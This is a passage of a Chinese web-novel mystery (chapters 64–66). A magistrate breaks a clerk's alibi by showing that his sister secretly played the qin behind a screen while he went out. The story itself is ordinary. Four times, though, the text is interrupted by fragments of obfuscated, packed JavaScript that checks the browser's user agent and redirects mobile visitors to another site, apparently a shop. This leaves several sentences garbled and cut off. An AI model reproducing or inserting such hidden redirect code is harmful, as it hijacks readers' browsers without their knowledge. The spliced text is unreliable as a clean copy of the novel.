可尽管难以置信,云水谣也知道,杜羽所说的可能性是存在的。 云水谣喃喃道:“到底是谁……” 她把自己的下属挨个想了一遍,都觉得不太可能。 杜羽道:“云大人,你先别慌,只是存在这个可能而已,也许凶手另有其人。” “嗯。” 云水谣神思不属,竟将杜羽碗里的菜夹着吃了,自己还未察觉。 杜羽看着她的动作,忽然觉得心头一跳,面上却没表现出什么,继续跟其他几个官员闲聊。只是,闲聊之时,他总不自觉地往云水谣那边瞧上一眼。 直到云水谣将一杯米酒从头上浇下去了,其他几人才发现不对。明将军提醒道:“云大人,你的酒……” 云水谣这才发现自己干了什么,赶紧手忙脚乱地擦拭。她用自己的帕子擦了,还没擦干净,杜羽便装作不经意地将自己的帕子递了过去。 云水谣道了谢,赶紧接过,将头发上残存的酒擦干净。那块帕子拂过云水谣的头发、脸颊,杜羽心中升起一种异样的感觉。但他很能掩饰自己,面上只是淡淡笑着。 明将军问道:“云大人,你怎么了,可是喝醉了?” 云水谣不好意思地笑笑:“没有……是我刚才想着案情,心不在焉的,不小心将酒倒在了头上。” “你不用担心,要找出真凶也不难。痴.傻的孩子虽说没有常人那么聪明,但是在某些方面是很有天赋的。既然那个傻孩子见过凶手,你只需让所有有嫌疑的人都穿上黑衣,蒙上面,让那傻孩子辨认,说不定他能认出来。” “是个办法,可是有嫌疑的人太多了。一个一个辨认,怕是会拖很久,就怕迟则生变。” “这好办,你定制几千件黑衣、黑面巾,让金沙镇的居民、洛县所有官吏都穿上,聚在一起,让那傻孩子逐个辨认,没认出来前不许任何人离开,吃喝拉撒都原地解决,就只需几天功夫。” “可是,我没有钱定制那么多黑衣和黑面巾……” 杜羽笑着对明将军道:“明兄,你们千牛卫有钱,可不是所有的府衙都像你们这般财大气粗,你可别把千牛卫的习气带到外面来,吓到人家就不好了。” 明将军笑了笑:“这倒是我考虑不周了。千牛卫是皇帝近卫,经常获得财政拨款,我们部门的钱根本就用不完……” 杜羽道:“好了,知道你们千牛卫有钱了,让我们继续下一个话题。” 明将军赶紧向云水谣道:“抱歉,抱歉,我不是炫耀哈……” 云水谣忍俊不禁:“我知道。” 杜羽道:“其实刚才明将军所说,可以采纳一部分。” “哪一部分?” “金沙镇的居民多,但县里的官吏人数较少。你可以先定制一批便宜的黑衣,让官吏们穿上,再偷偷把那傻孩子带去,让他辨认官吏里是否有他昨日见过的人。如果有,那自然是好;如果没有,你再想别的法子去调查金沙镇的居民便可。官吏只有数十人,定制数十黑衣花不了多少钱。” “杜将军说的可行,但是真的能信任一个傻孩子的话吗?万一他认错了怎么办?” “先试试这个法子吧,如果真的认错了,再想别的办法。” “也好。” 云水谣心中有了主意,心情便轻松了一些。她吃完饭,跟在座诸人告辞。 她见自己手里还拿着杜羽的手帕,但沾上了酒,不好就这样还给人家,因此便对杜羽说道:“杜将军,你的手帕等我洗干净了,再还你。” 杜羽淡淡一笑:“无妨,你留着也行。” “不,我会尽快还你。” 说完,云水谣便离开了。 她本想立即去定制黑衣,但又觉得今日是大年三十了,明日便是正月初一,在这几日,恐怕裁缝们是没有时间做衣服的,至少要等到初五、初六。 可是,若拖上这么久,万一真正的凶手逃走了,或再次犯案怎么办? 她突然想到了柳依依。柳依依家里有许多下人,下人们每隔一段时间就会统一做衣服,也许其中有黑色衣服。如果真有,把所有黑衣服借出来,应该也够用了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176955|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 于是,云水谣便起码去了柳依依家。 柳依依在城外有座别院,不过她一般住在城里的宅院里。 很快,便到了柳宅。云水谣让家丁通报,柳依依亲自出来迎接。 云水谣直接说明来意,柳依依道:“黑衣有,刚给下人们赶制了一批黑色衣服,只是有些简陋,不知是否合用。” “只要是黑色的就行,还需要几十块黑色蒙面巾。” “黑色面巾没有,不过我可以叫人把几套黑色衣服剪开,剪成蒙面巾的样子,很快就好。” “嗯。” 柳依依叫了几个丫鬟婆子来,把其中几套黑衣剪成小块的蒙面巾。 按着云水谣的吩咐,柳依依又叫了一群小厮来,让他们分头去请洛县的大小官吏,来柳家集合。 另外,找了个面目和善、会骑马的老嬷嬷,去金沙镇把那傻孩子阿风带来。 云水谣决定,今晚就在柳家的院子里,让阿风辨认一下官吏中是否存在昨天的黑衣人。 一切都吩咐完毕后,柳依依道:“大人,有些官吏是外地的,早就回老家去了,今日能召集到的官吏只是一部分。” “早就离开的人,自然没有嫌疑,这倒不要紧。只是,我担心阿风认不出来,或是胡乱指认。我想,智力正常的人,尚且很难在一堆黑衣人中辨认出自己见过的那个,何况是个傻孩子呢?” “我倒觉得,傻孩子在某些方面傻,必然在某些方面记性好,也许他能认出来,大人先别灰心。” “嗯,也只能寄希望于阿风了。” 大约一个半时辰后,所有在洛县的官吏都到齐了。他们本来在家里过年,突然被叫到这里,都有些奇怪,有些人心中还有点不满,但不敢表现出来。 云水谣让他们都穿上黑衣,蒙上黑面巾。 过了一会,傻孩子阿风也被带来。 云水谣拿着一包糖,对阿风说道:“阿风,我们来玩个游戏。这里有许多黑衣人,你能不能看出其中有没有你昨天见过的那人?如果完成这个游戏,这包糖都是你的。” 阿风开心地拍手:“玩游戏……糖……吃……” “要完成游戏才有糖,所以你要仔细辨认。” “哦。” 官吏们纷纷询问云水谣想干什么,云水谣大致解释了一下。 好几个小吏问道:“可是爆炸案的凶手不是那个匪徒丁大志吗?为何要将我等聚在这里?” 云水谣道:“丁大志固然可疑,可昨日这傻孩子见到的只是一个蒙面人,未必就是丁大志,也许是其他人假称丁大志的名字,误导我们。我想,官府中人也是有机会知道金沙镇的旧事的,所以也存在嫌疑,便请大家过来检验一下。” 云水谣并没有说丁大志已经死了,以免此事泄露出去,节外生枝。凶手是不知道丁大志的死讯的,否则也不会假扮丁大志了。 许多官吏都对这个方法存疑: “大人,您在大年三十晚上把我们召集起来,就是为了陪这个傻孩子玩认人的游戏?他是个傻.子,他懂什么?” “是啊,万一他一会指认我,难道我就是凶手不成?” 64.哭泣 云水谣道:“诸位稍安勿躁,本官自然不会只听这傻孩子的话。如果他指认了某个人,本官也会继续调查,直到找出切实证据为止。我这样做,也是情非得已。如果官吏之中真有杀人犯,我却迟迟不找出来,你们害怕吗?” “这……” 官吏们觉得云水谣说的也有道理,便不再反对。 有个胆大的小吏道:“大人,我当小吏十几年了,还是头一次被人怀疑是杀人凶手,我真是服了。既然要让这孩子指认,那大人自己是不是也该穿上黑衣,站在我们身边?” 柳依依有些恼怒,指责道:“你这是什么意思?” 那小吏冷哼一声:“我什么意思,你不是听清楚了吗?” “你……” 云水谣劝道:“依依,别生气,他说的也有道理。我们俩也穿上黑衣,跟其他官吏站在一起。” “好吧。” 很快,包括云水谣、柳依依在内的所有官吏,都穿好了黑衣,蒙上了黑面巾。然后他们背对着阿风,打乱了次序,重新站位。 准备好后,嬷嬷便领着阿风辨认。 阿风睁着一双大而单纯的眼睛,认真地看着这些黑衣人。 他一个一个地看过去,忽然指着一个黑衣人道:“是他!昨天是他……” 云水谣一惊,看着那个被指认的黑衣人,道:“摘下面巾。” 那黑衣人摘下面巾,竟是小吏田长生。 田长生苦笑道:“大人,不是我。” 他面色平静,并没有恼羞成怒或是慌张,只是一脸无奈而已。 他倒也没生阿风的气,对阿风说道:“你再仔细认认,不是我。” 谁知,阿风却指着他,认真地说:“是你。” 接着,阿风跑到云水谣面前,伸手道:“漂亮姐姐,糖。” 云水谣便把糖给他了。 田长生的人缘还是不错的,有好多官吏为他抱不平: “大人,我就说傻孩子的话不能信,指了半天,指到一个最不可能的。” “是啊,田长生平时连杀鸡都不敢,怎么能杀人?” “我都比他像凶手。” 见众人越说越离谱,云水谣道:“稍安勿躁。田长生,你可有证据证明你不是凶手?” 田长生不慌不忙地问道:“大人,可否将祠堂爆炸案的细节跟小人说一下?” 云水谣便挑重点讲了。 田长生道:“大人,如您所言,凶手是在昨日的申时跟这个傻孩子见面。可昨日申时,小人一直待在家中,未曾外出,有人能作证。” “谁能作证?” “小吏管越,是小人的好友。他最近入睡困难,听小人的琴声却能入睡。所以,近期他每日都往小人家中听琴。昨日申时,管越正在我家。” 小吏管越也在现场,他扯下蒙面巾,对云水谣道:“正是,大人,我可以证明,昨日申时田长生并未离开。” 云水谣问道:“既然你听田长生的琴声会睡着,你怎么知道他没有趁你睡着了偷偷离开?” “回大人,小人睡眠很浅,即便睡着了,也能听见外界的声音。昨日申时,田长生弹了两首曲子后,小人便睡着了,但小人能感觉到,有断断续续的琴声一直从屏风后传出来,可见他一直在弹琴。” “从屏风后面?” “是的,田长生弹琴时需要静心,如果看见人,就难以弹好。所以他每次弹琴,都是在屏风后面。而我则在屏风前面支一张胡床,躺在上面。” “原来如此……既然他在屏风后面,你怎么能确定弹琴者一定是他呢?” “这……除了他,还能是谁?小人跟田长生很熟悉,就算他在屏风后面,小人也能隐约看到他的身形,可以确定就是他。” “原来如此,看来是阿风认错了。” 云水谣正要派人将阿风送回去,阿风却忽然大哭:“就是他!他不承认……” 云水谣安抚了阿风几句,道:“阿风,虽然你没认对,但是也很认真地做游戏了,姐姐再给你一包糖,然后送你回家好不好?” 阿风止住了哭声,冒出一个鼻涕泡泡,道:“再给一包糖……” 云水谣又拿了一包糖给他,并让人将他送回金沙镇。 接着,云水谣让众位官吏都脱下黑衣,各自回家。 很快,现场就只剩下柳依依和云水谣二人了。 柳依依道:“大人,阿风认错了人,怎么办?他是唯一一个见过凶手的,可以他的能力,却没法认出真凶,我觉得这个案子很难办……” 云水谣没接茬,只说:“我想去田长生家里看看。” “什么时候?” “现在。” 云水谣从柳依依家拿了一些年货,跟柳依依一起去田长生家。 田长生刚回家没多久,就遇到云水谣来拜访,有些惊讶,道:“大人怎么深夜前来?” 云水谣提着年货,道:“刚才不小心将你指认为凶手,本官心中十分过意不去,所以买了点年货,作为赔礼。” 田长生赶紧说道:“大人言重了。大人在大年三十的晚上还在为破案奔走,小人心中十分佩服。天色已晚,小人就不多留大人了。” 田长生接过年货,准备关门,云水谣却拦住了他:“本官难得来一次,你不请本官进去坐坐吗?” 田长生犹豫了一瞬,笑道:“自然可以,只是家中已无热水,我先去烧水,给您和柳姑娘泡茶。” 云水谣道:“不喝茶也行,我和柳依依只想随便坐坐。” 见云水谣如此说,田长生便把二人迎了进去。 田家并不大,一共三间房,左右两间是卧室,中间有一间小小的厨房。 云水谣问道:“我们要坐哪里?是坐厨房吗?” 田长生道:“哦,不是。寒舍简陋,只有我和舍妹居住。我的房间较大,做了隔断,前半间作为待客之用,后半间是我睡觉休息的地方。大人若不嫌弃,可去我那间屋子坐坐。” “也好。” 田长生打开房门,露出一间简朴的房间。 房间正中央放着一架长屏风,作为隔断。靠近门的一边是桌椅,上面有茶具,应该就是客厅了。 椅子只有两把,云水谣和柳依依便一人坐了一把。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14187753|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 角落里有一张竖起来的胡床,云水谣问道:“你的朋友管越听琴时,就躺在这胡床上吗?” 田长生道:“正是。客厅较小,管越不来时,我便将胡床竖着摆放,这样空间大些。” 云水谣点头道:“可以参观一下屏风后面吗?” “可以,大人请。” 云水谣走到屏风后面,这里的陈设也一目了然:一张窄床,床上有一张可移动的书桌;床边有一把琴凳,琴凳上摆着一架七弦古琴;床尾是一个柜子,大概是衣柜。 放了这些之后,几乎就没有空间放别的了,显得很局促。 云水谣问道:“你平时给管越弹琴,就是在这里吗?” “是的。” “你家空间不大,连书桌都只能放在床上,为何会买一把古琴放着呢?” “小人自幼爱弹琴,无论住得多简陋,琴是不能舍去的。” “原来如此。对了,你的家人只有一个妹妹吗?” “对,小人父母已亡故,只能和妹妹相依为命。” 这时,门外传来一个悦耳的声音:“大哥,你屋里有别人?” 田长生高声道:“是县令大人来咱们家做客了。你还没睡?” “没呢。” 屋外的女子便推门走了进来,云水谣等人也走出去与她相见。 只见来人是一个清秀的姑娘,眉眼间有几分哀愁。虽然此时微笑着,但也像是有很多心事的样子。 田长生介绍道:“这是舍妹田梦。” 田梦向云水谣行礼,云水谣赶紧扶起她。摸到田梦的手时,云水谣愣了一下,才放开。 田梦道:“我去烧点热水给大人泡茶吧。” 田长生道:“不必了,县令大人不喝茶。” 田梦便侍立在一边。 这里只有两张凳子,田家兄妹只能站着。 云水谣笑道:“叨扰许久,我也该离开了。我和柳依依在这里,你们连坐的地方都没了。” 田长生挽留道:“大人何必如此匆忙?再坐坐不妨。舍妹平时总是躺在床上,稍微站一会不累的。” 云水谣还是坚持要离开,临走之前问田长生:“对了,你妹妹会不会弹琴?” 田长生愣了一下,答道:“舍妹学过,但学艺不精,很少弹琴。云大人为何问这个?” “没什么,随便问问。” 云水谣和柳依依离开了田家,坐上马车往回走。 柳依依问道:“大人,您为何深夜拜访田长生?可看出了什么?” 云水谣道:“我看出了两点。” “哪两点?” “第一点,田长生的妹妹十指都有厚茧子,像是长时间练琴所致。第二点,田家兄妹的身高、身材都差不多。” “这代表什么?” “代表——我想去管越家看看。” “啊?” 见云水谣前言不搭后语,柳依依有些困惑。 云水谣却不理会她的疑惑,而是掀开帘子,对车夫道:“别回家,去小吏管越家。” 柳依依问道:“为何突然要去管越家?” 65.杀意 云水谣道:“等会再告诉你。” 车夫便一路往管越家驶去。 管越家住在一条较为偏僻的街道,小吏的工钱不高,很难去繁华之处买房子住。 到了管越家门口后,云水谣下了马车,敲了敲门。 很快,大门就打开了。 管越是个瘦瘦高高的年轻人,方脸,两眼无神,眼下有浓浓的黑眼圈。 他看见云水谣,有些惊讶,问道:“大人,您怎么深夜来访?” 云水谣道:“我有事找你。对了,你怎么还没睡?” “我要是睡得着,就不用每天去田长生家听曲子了。” “为何你听他的曲子就能睡着?” “大人有所不知,乐曲其实对人的身体有不同的功能。比如有些舒缓的曲子,就是助睡眠的,但也要弹琴者技艺高超才行。琴艺越高,效果越好。” “原来如此。本官倒很好奇,究竟什么样的曲子能让人入眠。不如我带你去田长生家,你让他弹琴,我也听一听。” “啊?现在吗?” “对啊,我看田长生家有一张胡床,你就是睡在他家,也没关系吧?” “这……会不会有点冒昧?我跟他虽是朋友,但我从未在他家过夜。” “我想田长生不会介意的。你总不能每天白天去田家睡觉,晚上醒着吧?这作息也不太对啊。田长生应该很乐意帮你调整作息。” “那……也好。只是,田家没有多余的床,要是大人也听睡着了,可怎么办呢?” 云水谣笑道:“可以让他把我叫醒,我不可能真的在他家睡的。” “也好。” 管越虽然觉得有些冒昧,但既然这是县令的意思,他便收拾了一些东西,跟云水谣一起走了。 他上了马车,见柳依依也在,有些惊讶。 柳依依也惊讶道:“管兄,你怎么来了?” 管越道:“是云大人要带我去田长生家听曲子。” “啊?还去他家?” 这时,云水谣也上了马车。柳依依问道:“大人,我们不是刚从田长生家出来吗?为什么还要回去?” 云水谣道:“为了给他一个惊喜。” “啊?” —— 对田长生来说,惊喜没有,惊吓倒是有。 他本来准备睡觉了,没想到云水谣去而复返,还把管越给带来了。 云水谣站在门口解释道:“刚才我路过管越家,见他睡不着,便想着把他带到你这边睡,你给他弹琴,他睡在胡床上,岂不两便?正好我也想听听你的琴声。” 田长生有些为难:“大人,弹琴需要有合适的时机,并静心才行。您突然让我弹,我弹得不好,反倒没有助眠的效果。劳大人费心了,我还是改日再约管越吧。” 管越也道:“既然这样,我先回家。” 云水谣却拦住他:“别走啊,田长生没心情弹琴,也许他妹妹可以弹。” 田长生脸色一变,勉强笑道:“大人,我妹妹虽学过琴,但弹得很难听,她恐怕没法弹琴。” 云水谣道:“能不能,试试就知道了。依依,你去把田梦姑娘叫起来。” 柳依依有些意外,她没想到云水谣会下这样的命令。田梦应该已经睡觉了,这时候把她叫起来,是很失礼的。云水谣平时不会做这种事,今天是怎么了? 可碍于云水谣是上司,柳依依只得遵从。她来到田梦的房间,将田梦唤醒。 田梦倒是好脾气,也没有起床气,很快穿戴整齐,来见云水谣,问道:“县令大人,您有什么事吗?” 云水谣指着管越道:“这位管大人睡不着,你给他弹琴吧。” 田梦看了田长生一眼,道:“云大人,我……我不太会弹琴。” 云水谣却偏要勉强她:“你坐到琴的前面,用自己最好的水平弹就是了。” 田梦只得坐到古琴面前,胡乱拨了几个音符,有点难听。 云水谣道:“罢了,既然你不肯弹琴,那就算了。” 田梦解释道:“大人,我不是不肯弹,而是不会。” 云水谣没说什么,而是对柳依依耳语几句。柳依依听了她的吩咐,点了点头。 接着,云水谣对田家兄妹道:“我还没参观过你们的厨房,可以带我参观一下吗?” 田长生道:“大人尽管进厨房看看便是。” “可我希望你们给我介绍一下。” 田家兄妹都有些奇怪,心里也没底,但又不敢违抗云水谣的命令。 他们跟着云水谣进入厨房,云水谣关上门,道:“田长生,我觉得你这件外衣挺好看的,若是穿在你妹妹身上,想必也很合适。” 田长生道:“也许吧,不过我妹妹自己有衣服。” “可我想看看她穿上男装是什么样子。田长生,你就把外衣脱下来,让她穿穿看。” 田长生的脸色有些发白,但他只得脱下外衣,让妹妹田梦穿上。 云水谣看了田梦几眼,道:“田梦,你穿着男装,却梳着女孩的发髻,不太合适。我帮你梳一个男式的发髻。” 田梦勉强笑道:“不……不用了……” “县令亲自给你梳头,这样的殊荣可不是人人都有。你坐下。” 田梦只得坐下。云水谣把田梦的头发解开,直接在头顶盘成一个发髻,用木簪插上。 然后,云水谣让田梦站在窗户边。而云水谣自己,则带着田长生来到炉灶边,询问他平时都做什么饭菜。 田长生虽然觉得奇怪,但也只得回答。 田梦做饭比较多,她想走过来为云水谣介绍日常饭菜,但云水谣却对她说道:“你就站在窗户边别动。” 另一边,柳依依估摸着时间差不多了,便带管越走了出来,指着窗户上的人影,问道:“管兄,你看厨房窗户边的人影是谁?” 管越道:“应该是田长生吧。” “你确定?” “我跟他很熟,应该不会认错。” 柳依依打开了厨房门,管越见到站在窗边的人竟是田梦,呆住了,道:“田梦,你站在窗边,还梳着男子的发髻,我把你认成是你哥了。” 田梦笑道:“这大晚上的,本来就看不清楚,你认错也正常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196401|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管越道:“你们兄妹二人身形相似,乍一看还真的分辨不出来。” 云水谣却走了过来,问管越:“既然你今天认错了,那往日是不是也存在认错的可能呢?” 管越神情一凛,道:“这……” “前几日,你说田长生都在屏风后面给你弹琴。可若是田梦穿上她哥的衣服,你也是分辨不出的。” 管越道:“也许是吧……可他们为什么要这么做呢?而且,田梦并不会弹琴啊。” “她说不会弹就真的不会吗?” 云水谣抓住田梦的手,把她手指上的茧子露出来,问管越:“管越,听说你也学过乐器。像这位田梦小姐手上的茧子,要练多久才能形成?” 管越看见田梦手上的厚茧子,有些惊讶,道:“这起码要练琴七八年,才会有如此厚的茧子吧。” 田梦解释道:“我这茧子不是练琴练的,而是绣花所致。” 云水谣道:“绣花不需要用到这么多手指。田梦姑娘,我看你还是别狡辩了。” 田梦呆呆地看着田长生,不知道该说什么。 管越道:“大人,您的意思是,前几日弹琴给我听的人,是田梦,而不是田长生?” 云水谣:“应该是这样。” “那田长生为何要这么做?” “为了制造不在场证明。他让他妹妹在屏风后弹琴,他自己偷偷溜出去杀人了。” “这……这不可能,他不会杀人的……我了解他……” “你了解他?那你还觉得他不会说谎呢,他不是照样说谎骗你?他说自己弹琴给你听,但实际上屏风后面的是他妹妹。” “这……” 田长生还是很镇定,道:“云大人,这些不过是你的猜测而已,您怎能凭借猜测,就把这么大的罪名安在我身上?” 云水谣道:“那请你现在弹一曲给我们听吧。我知道弹琴需要好的心境,但现在顾不了那么多了,就算曲声稍有不足也没关系。” “大人为何叫我弹琴?” “你说这几日管越一直在听你弹琴,那你现在弹一曲,他大概能听出跟前几日的曲子是否有所不同。你敢弹吗?” “自然可以。” 田长生便把琴抱出来,在院子里弹奏。他的曲声如行云流水,虽然悠扬,但隐隐有一股肃杀之气。 管越听了一会,皱眉道:“不对。” 云水谣问道:“哪里不对?” “前几日的琴声,中正平和,轻灵舒缓,如湖边柳叶,山间清风。但今日的曲子,似乎带着戾气和杀气,还有一股怨愤不平之气,跟前几日的曲子绝不相同。” 琴声是心境的体现,不同的人就算弹同一首曲子,也会有所差别。而善于听曲的人,便能听出其间的差别来。 田长生道:“今日云大人无故怀疑我是杀人凶手,且在深夜逼迫我弹琴,我心情不好,弹出来的曲子自然不平和。” 管越道:“不对……不是这个原因……从你的琴声中,我感受到的不是有点生气,而是一种深沉的激愤,一种压抑的杀气……田贤弟,莫非前几日弹琴的,真的不是你?” 66.招魂 田长生道:“管兄,你仅凭自己的感觉,就做出这样的推论,不是太武断了吗?前几日弹琴的确实是我,我看你今日累了,不如就先回家吧。云大人,柳姑娘,寒舍简陋,没有多余的房间,我就不留你们了。” 见田长生下了逐客令,云水谣等人只得离开。 虽然云水谣有八成确定田长生有嫌疑,可证据不足,管越听乐曲产生的感觉自然不能作为证据,因此只得暂时离开。 他们三人一起走了出来,云水谣仍旧叫管越一起上马车,三人继续同乘一车。 管越道:“云大人,我很确定前几日弹琴之人不是田长生。乐曲中的感情是骗不了人的,虽然这不能作为证据,但我可以肯定,田长生已经不是我所认识的那个田长生了。” 云水谣道:“我懂你的意思。每个人都是多面的,你很难了解对方的每一面。” “可是,我还是不敢相信田长生会出去杀人。也许,他这样做,只是因为他心境不好,弹不出柔和的乐曲,所以才找人代劳。” “不会那么简单。他妹妹明显是会弹琴的,可他却说不会。前几日弹琴的明明不是他,他却不承认。前几日他邀请你去他家听琴,就是为了制造不在场证明。我没猜错的话,弹琴的时间也是他定的吧?” “是的。昨日他让我申时去他家听琴,前日他竟让我在寅时听琴。” “寅时?那时候天还没亮吧?” “是的,我也觉得太早了,但他坚持要选那个时辰,我想着反正我也睡不着,无论何时去他家都行,便答应了。路上虽有巡夜的士兵,但我是官吏,只要出具官凭,说明缘由,便可在深夜行走。” “那前天早晨他弹琴弹了多久?” “一个多时辰吧。不是一直弹的,弹完一首,休息片刻,再接着弹第二首。不过现在想来,前几日弹琴的应该都是他妹妹田梦。” 云水谣思索道:“所以,前天的寅时到卯时,田长生也不在自己的家……” 云水谣忽然想到了什么,心中一惊。不过,她暂时没把心里的猜测说出来。 她对管越道:“你接下来几天先不要跟田长生来往,待在家里,保护好自己。” “是,大人。” 很快,管越家就到了。云水瑶让他下了车。 车里只剩下柳依依和云水谣二人。 柳依依道:“大人,我终于明白你刚才为何要去找管越,又为何要第二次去田长生家了。您是不是一直在怀疑田长生?” “是的,其实从傻孩子阿风指认田长生的时候,我就开始怀疑了。阿风虽然痴.傻,但是不会说谎,也不会作伪证。他既然指认田长生,就说明他心里认为自己昨日见到的黑衣人就是田长生。虽然很多人觉得傻.子的话不能信,但我却觉得在某些方面,傻.子的记忆力比一般人还好。” “所以,您才去试探田长生?” “是的,这件事的难点在于,田长生有不在场证明,管越便是人证。可管越说的一句话引起了我的注意。” “就是他说田长生在屏风后面弹琴这一句?” “是的。既然田长生在屏风后面,其实存在着换人的可能。只要有人跟田长生身形相似,且琴艺不相上下,便可替代田长生。那么,田长生就可以偷偷出门了。我来到田长生家,见到他妹妹跟他身形相似,已经有所怀疑。所以,我借故摸了他妹妹的手,果然被我摸到田梦十指的茧子。” “所以,您当时就确定,田梦就是代替田长生弹琴之人?” “本来还不算确定,所以我故意问田长生,他妹妹会不会弹琴。田长生竟然说不会。像田梦这样手上有厚茧的人,就算弹不出天籁之音,也必定是琴道高手。所以我判断,田长生在说谎。他心里若没有鬼,为什么要隐瞒他妹妹会弹琴的事呢?于是,我便有九分确定了。但我还需要管越的帮助。” “所以,您才深夜将管越带到田长生家?” “正是。管越是懂琴之人,如果让田长生现场弹奏一曲,管越应该能听出其中的差别。可田长生一直推脱,不肯弹琴。他越是如此,我越怀疑他。所以,我让他妹妹田梦穿上他的外衣,站在窗边,让管越在外面辨认。管越果然认错了。” “可是,我们仍然没法定田长生的罪。” “我先派人日夜盯着他,相信他总有露出破绽的时候。而且,我还怀疑另外一件事。” “什么?” “也许,前日的藕塘村村妇被杀案,也是田长生做的。” “大人,这可有证据?” “据管越所言,前日的寅时到卯时,他也在田长生家听琴。我们已知弹琴的是他妹妹田梦,那么田长生为什么要在大半夜把管越叫到他家去呢?他这样做,不就是为了让管越给他作证,证明他前日的寅时到卯时没出门吗?但实际上,田长生恰恰在那个时间段出门了。而村妇们,便是在卯时二刻左右遇害。从田长生家赶到鸡鸣山,需要半个时辰左右。他寅时出门,寅时五刻左右到了鸡鸣山,往鸡鸣山深处走了半个多时辰,然后跟村妇们见面,再将她们引入陷阱,杀了她们。” “可是,他为何要杀死藕塘村的那七名村妇?” “我们也不知道他为何要制造祠堂爆炸案。也许他有他的理由,但必须抓捕他后,才能问出原因。” “可是,仅凭时间这一点,就说他是村妇被杀案的凶手,似乎证据不足。” “是的,现在只是猜测,我们不妨大胆一点。” “但是那七名村妇是死在深坑里的,他也没时间挖那么大一个坑啊?” “也许那个陷阱是前几日挖好的,可能用了很多天,所以他对鸡鸣山的路径很熟悉,很快就能走到陷阱附近。而我们当日因为不熟悉鸡鸣山,找了许久才找到陷阱和死者的。” “也有道理。大人,你说田长生会不会逃跑?要不要我先派自家的护院去盯着他?” “他不会逃跑,因为逃跑就代表他心虚。越是这种时候,他越镇定。他是聪明人,会做出对自己最有利的选择。” “嗯。” 云水谣路过县丞林复家,让他组织二十个衙役,轮流盯着田长生家。 林复问为何这么做, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14204364|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云水谣便把前因后果简单解释了一下。 林复也有些震惊,道:“大人放心,我会盯紧田长生家的。” 云水谣正准备离开,忽然想起什么,问道:“林公,你了解田长生的身世吗?比如,他的父母?” “田长生就是本地人,其父早年从军,退伍后成为建造房屋的工匠。田长生自幼读书,但只考中了秀才,没中举人。后来他参加官府的吏员考核,通过了,便一直在府衙当小吏。他父母大约在他十几岁时就没了,他这些年一直跟他妹妹相依为命。他妹妹好像体弱多病,很少出门。我知道的就这么多。” “田长生的父亲曾经从军?那他们家是不是有陌刀?” “军中所用的兵器种类繁多,未必都是陌刀。而从军的百姓也未必会自己打造兵器,所以我也不知道他家有没有陌刀。大人为何有此一问?” “哦,只是随便问问。对了,他不曾娶妻吗?” “没有。其实这些年,我们曾多次为他做媒,都被他拒绝了。他说自己父母感情不和,经常吵架,他和妹妹从小便战战兢兢的,所以对婚姻不抱期待。他们兄妹俩都不想成亲,只想相依为命。见他这样说,我们也便随他去了。” 聊完后,云水谣便回了家。 县令的府邸就在县衙的后面,云水谣刚到家不久,就听见县衙那边传来击鼓声。 她赶紧穿好官服,跑到前面,见击鼓之人竟是藕塘村的村长和村长夫人廖氏。 云水谣问道:“你们为何深夜前来?” 村长道:“大人,我们在鸡鸣山发现一件凶器,上面有血迹和碎肉,所以想拿来请您看看。之前我们藕塘村的七名死者,不是有一人被割了大腿肉吗,我们猜测,割肉用的凶器就是这一把。” 村长递上一把尖刀。这把刀上尖下宽,呈一个三角形,边缘锋利,跟屠户用来割猪肉的刀很像。如果用来割人的肉,想必也很方便。 这把刀上面还有一个弯月形的凹槽,凹槽里有一些碎肉和血迹。刀柄是木制的,也有残留的血迹。 云水谣问道:“你们是如何得到这把尖刀的?” 村长便把前因后果简单说了一下。 原来,自从前天把那七名死者抬下山后,抬尸体的村民中,有几人发起了高烧,昏迷呓语,喝药也不管用,应该是被凶杀案吓到了。 民间有一种说法,如果有人被吓到了,导致昏迷不醒,只需到被吓到之处喊魂,便能让病人康复。 所谓喊魂,便是大声喊病人的名字,让病人丢失的“魂魄”回来。喊魂时,病人无需到场,只需旁人去喊他的名字就行。 这种说法虽然有些无稽,但为了让那几个病人快点病愈,村长病急乱投医,决定去鸡鸣山为他们喊魂。 